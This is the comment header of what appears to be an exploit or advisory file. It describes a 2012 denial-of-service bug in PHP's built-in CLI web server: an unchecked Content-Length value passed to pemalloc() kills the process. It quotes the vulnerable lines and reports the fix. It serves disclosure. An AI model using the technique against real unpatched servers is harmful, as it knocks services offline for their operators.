# Date:       16 March 2012
# Author:     ls (contact@kaankivilcim.com)
# Reference:  https://bugs.php.net/bug.php?id=61461
# Comments:   Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV

# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c
# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate
# the process with the error message "Out of memory".
#
# 1537 if (!client->request.content) {
# 1538   client->request.content = pemalloc(parser->content_length, 1);
# 1539   client->request.content_len = 0;
# 1540 }
